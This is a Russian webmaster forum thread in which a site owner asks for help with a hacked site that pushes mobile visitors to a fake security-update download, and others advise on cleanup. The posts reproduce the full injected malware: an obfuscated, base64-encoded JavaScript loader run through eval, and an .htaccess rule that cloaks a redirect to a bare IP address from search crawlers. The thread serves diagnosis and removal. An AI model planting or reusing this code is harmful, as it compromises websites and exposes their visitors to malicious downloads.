Невозможно зайти на сайт с мобильного - помогите разобратся.

H
На сайте с 08.08.2012
Offline
38
1414

Добрый день. Уже месяц немогу зайти на сайт с мобильного. И никто неможет зайти на него с мобильно. У всех на экране появляется следующее сообщение - "Browser Security Wtynh центр обновления безопасности Важное сообщение - В вашем браузез обнаружен вредоносный код, последствием которых может стать потеря важных данных......настоятельно рекомендуемзагрузить последние обновления безопасности: Скачать обновление".

После этого я занялся обследывать код сайта и обнаружил непонятный скрипт (он размещен сразу после тегов </body> и </html>):

</body>

</html><script language="javascript" type="text/javascript">var I1O='=kQCJoQCJkgC9lQCJowOpIiIgoDIiUmc1NWZzByOiAyPgkSZ1JHdg0TPgUmc1NWZzhCKJkQCKsCIpkibpFWbvRGIrAiI94Wah12bkByOigCI6AiIiAyPgkCbsVnbg0TPg4Wah12bkhCKJkQCKsCIpkCa0FGcgsCIi0Da0FGcgsjIoAiOgIiIg8DIpwGb15GI90DIoRXYwhCKJkQCKsCIpkSKocmbpJHdTRVTH9GduMXZylGc4VWCJkgCrAiI9MXZylGc4VGI7ICKgoDIiICI/ASKsxWduBSP9AyclJXawhXZogSCJkgCrASKlVHbhZHKgUGchN2clByKgISPiAyKgUWbh5GI9ASZpt2bvNmL05WZtV3YvRWCJkgC7U2csFmZgoDIdVzW2dmchByPgkSNg4DIjdmchhCI9ASZyV3YlNHIyFmdJkQCKsDbsVnbgoDIdRzW2dmchByPgkCNg4DIjdmchhCI9AibpFWbvRGIyFmdJkQCKsDbsVnbgoDIdNzW2dmchByPgkyMg4DIjdmchhCI9ACa0FGcgIXY2lQCJowOsxWduBiOg0lMbZ3ZyFGI/ASKyAiPgM2ZyFGKg0DIzVmcpBHelBichZXCJkgC7gGdn5WZs5yc05WZtV3ZyFmL1JlZhJHVwVFcvBVZpt2bvNEdlNFI9AyYnJXYgIXY2lQCJowOzRnbl1WdnJXYuUnUmFmcUBXVw9GUll2av92Q0V2Ug0DI2dmchBichZXCJkgC7BSKlVHbhZHIsUWbh5GKgUnUmFmcUBXVw9GUll2av92Q0V2Ug42bpR3YuVnZJkQCKkQCJoQfJkQCKsDbsVnbg4mc1RXZylQCJoQfJkQCKszahVmcilQCJoQKwASP9ASaoAiZplQCJowOxAyKgkSagwiIgICKm9EelRmbp5SZpt2bvNmL05WZtV3YvRGI9ASaJkQCKsTKqhCIsFmV5MTMxUWar92bDRXZHBibyVHdlJXCJkgCpcmchBSP9ASKqBCLphyZulmc0NnY1NnLll2av92YuQnbl1Wdj9GZoAiZplQCJowOuVGbhByKgkGI9AiagIXY2lQCJowegkiblx2YgwDIphCIlxWaodXCJkgC7ADI9ASagIXY2lQCJowOoR3ZuVGbuUWar92bj5CduVWb1N2bkBSPg4WZsNGIyFmdJkQCKsDa0dmblxmLnJXYg0DIuVGbhBichZXCJkgC7ISPiAyKgUWbh5GI9AyZyFGIyFmdJkQCKsHIpUWbh5GKgkzMxETZpt2bvNEdldEIu9Wa0Nmb1ZWCJkgCK0XCJkgC7kSKyR3ck5WZgwCdlNnZm9GKn5WayR3ciV3cuUWar92bj5CduVWb1N2bkhSZwF2YzVmb1BibyVHdlJXCJkgC7gGdn5WZs5SZpt2bvNmL05WZtV3YvRGI9Aic0NHZuVWCJkgCpETLg0TPgIHdzRmblhCImlWCJkgCJkQCKsTK0V2cmZ2bgwiI7ICKgY2T4VGZulmLll2av92YuQnbl1Wdj9GZg0DIyR3ck5WZgIXY2lQCJoQCJkgC7BSK0V2cmZ2boACbhZVOzETMll2av92Q0V2Rg42bpR3YuVnZJkQCKkQCJoQfJkQCK0XCJkQCK0XCJkQCJowO5MTMxYWZyJHIrAiI9YWZyJnJ05WdoZWZy1TZk9WbmQURlUTRlIURlUTRlQTRlUTRlAjRlYURlUURlsSNFVCRFVSPulWYt9GZmIjZ4cDZyQzNhVjN1YWOhRzY5EzNjRWM1YmZlNjZlZWN9g2chhmJwADMwADMx0TZz9GbjZCMwADMwATM982Zm8mb9QHb1RWYmEzNykDMy0DZp9DcoBnLoNmchV2cv8mZulmLxQXZnV3YuUDO08yL6AHd0hmI942bpRXYj9GbuIXZuVGcv5ydvRmbpdnL05WZyFGcJkQCJkQCKsTKi8iIgwSZ0FGRwhXRscSMnwyJ4MjLxcjLzYTMuMTMyQnb1hmZlJ3JoUnUmFmcUBXVw9GUll2av92Q0V2UJkQCJkQCKsTKpADMwEDIqACM2AiKgAjNgoCIyEDKgsCIpgSZtlGV0V2ZuUGdhREc4VEKl1WaURXZz5SZ0FGRwhXRJkQCJkQCKsTKoASZ0FGRgcXZuBSPgUGdhREc4VEIyFmdJkQCJkQCKsjclJnclZWZy5CduVWb1N2bk1TOzETMmVmcylQCJkQCJoweJkQCJkgCpwGb15GI90DIll2av92YmFmcUxWYyVmZlJFKgYWaJkQCJkgC7kyJ4MjLxcjLzYTMuMTMyQnb1hmZlJ3JokzMxETZpt2bvNEdldEI9ASZpt2bvNmZhJHVsFmclZWZSlQCJkQCKkQC7lQCJkgCJkQK0NXZUVWar92bDhiZplQCJkgCJkwOkVGbiFmbFVWar92bj5icvRXYnlmdh5WP0NXZUVWar92bDlQCJkgC7licl5WZw9mL39GZul2duQnblJXYwhiZplQCJogC7U2csFmZg0DI29GIyFmdJkQCKowOu9WazJXZWBHch5icvRXYnlmdh5GI9AiclZndh5GIyFmdgACIgkQCKACIgASC';var _0x362a=["ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","","charAt","indexOf","fromCharCode","length"];function _0ll(_0x6ea4x2){var _0x6ea4x3=_0x362a[0];var _0x6ea4x4,_0x6ea4x5,_0x6ea4x6,_0x6ea4x7,_0x6ea4x8,_0x6ea4x9,_0x6ea4xa,_0x6ea4xb,_0x6ea4xc=0,_0x6ea4xd=_0x362a[1];do{_0x6ea4x7=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x8=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4x9=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xa=_0x6ea4x3[_0x362a[3]](_0x6ea4x2[_0x362a[2]](_0x6ea4xc++));_0x6ea4xb=_0x6ea4x7<<18|_0x6ea4x8<<12|_0x6ea4x9<<6|_0x6ea4xa;_0x6ea4x4=_0x6ea4xb>>16&0xff;_0x6ea4x5=_0x6ea4xb>>8&0xff;_0x6ea4x6=_0x6ea4xb&0xff;if(_0x6ea4x9==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4);} else {if(_0x6ea4xa==64){_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5);} else {_0x6ea4xd+=String[_0x362a[4]](_0x6ea4x4,_0x6ea4x5,_0x6ea4x6);} ;} ;} while(_0x6ea4xc<_0x6ea4x2[_0x362a[5]]);;return _0x6ea4xd;} ;function Ol1(_0x6ea4xf){var _0x6ea4x10=_0x362a[1],_0x6ea4xc=0;for(_0x6ea4xc=_0x6ea4xf[_0x362a[5]]-1;_0x6ea4xc>=0;_0x6ea4xc--){_0x6ea4x10+=_0x6ea4xf[_0x362a[2]](_0x6ea4xc);} ;return _0x6ea4x10;} ;eval(_0ll(Ol1(I1O)));</script>

Убрать я его немогу, т.к. невижу его в системе управления контентом (при редактировании хтмл).

Подскажите что делать, чтобы обнаружить причину.

Где этот код может находится?

---------- Добавлено 08.08.2012 в 21:46 ----------

Возможно проблема не в этом коде.

siv1987
На сайте с 02.04.2009
Offline
427
#1

Возможно не в этом, а возможно в этом - все равно он вредоносный. Ищите в файлах скрипта, раз его в шаблоне нету. Тема поиска и обнаружения вирусов даже не миллион а миллиард раз обсуждалась. Неплохо конечно и тип КМС при этом указывать.

YT
На сайте с 08.08.2012
Offline
1
#2

Hubll, это стопудово скрипт редиректа. либо Ваш сайт взломали либо хостинг, я пару раз убирал эту хрень с сайтов клиентов после того как хостинги ломали... какая ЦМС? джумла...

Зачем усложнять? есть же Яндекс.Директ!
H
На сайте с 08.08.2012
Offline
38
#3

Нет у меня MODx

---------- Добавлено 08.08.2012 в 22:19 ----------

Вам спасибо, начинаю искать в скриптах

---------- Добавлено 08.08.2012 в 22:20 ----------

А искать нужно чтото похожее на это: <script type="text/javascript">

<!-- window.location = "http://www.--------.com/" //--> </script>?

R
На сайте с 24.01.2008
Offline
180
#4

У вас мобильный редикт, если раньше не сталкивались с этим вопросом стукните поможем определить и дадим рекомендации!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
YT
На сайте с 08.08.2012
Offline
1
#5

Hubll, такие редиректы вставляют во все файлы PHP,HTML которые найдут... так что найдёшь в одном, значит есть ещё...

почитай это

http://webmaster.ya.ru/replies.xml?item_no=12778

http://help.yandex.ru/webmaster/?id=1116613

TH
На сайте с 22.08.2009
Offline
47
#6

Заражались подобной хренью js файлы когда сервак ломанули, на всех сайтах сразу. Из рекомендаций: поменяйте пароли все, почистите свой комп, т.к. скорее всего пароль был скомпрометирован трояном с компьютера, с которого вы заходили на хостинг через ftp или scp клиент. Ну и почистите все файлы, или попросите хостера. Если есть бэкап на хостинге/сервере то распакуйте его, естественно все последние изменения и база откатяться тоже.

H
На сайте с 08.08.2012
Offline
38
#7

Сегодня обнаружил у себя в .htaccess. такую штуку (и удалил ее): RewriteEngine on

RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone) [NC]

RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]

RewriteRule (.*) http://91.121.64.83/?2 [L,R=302]

Чтобы все устранить воспользовался рекомендациями яндекса - http://help.yandex.ru/webmaster/?id=1116613.

Всем спасибо за подсказки!

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий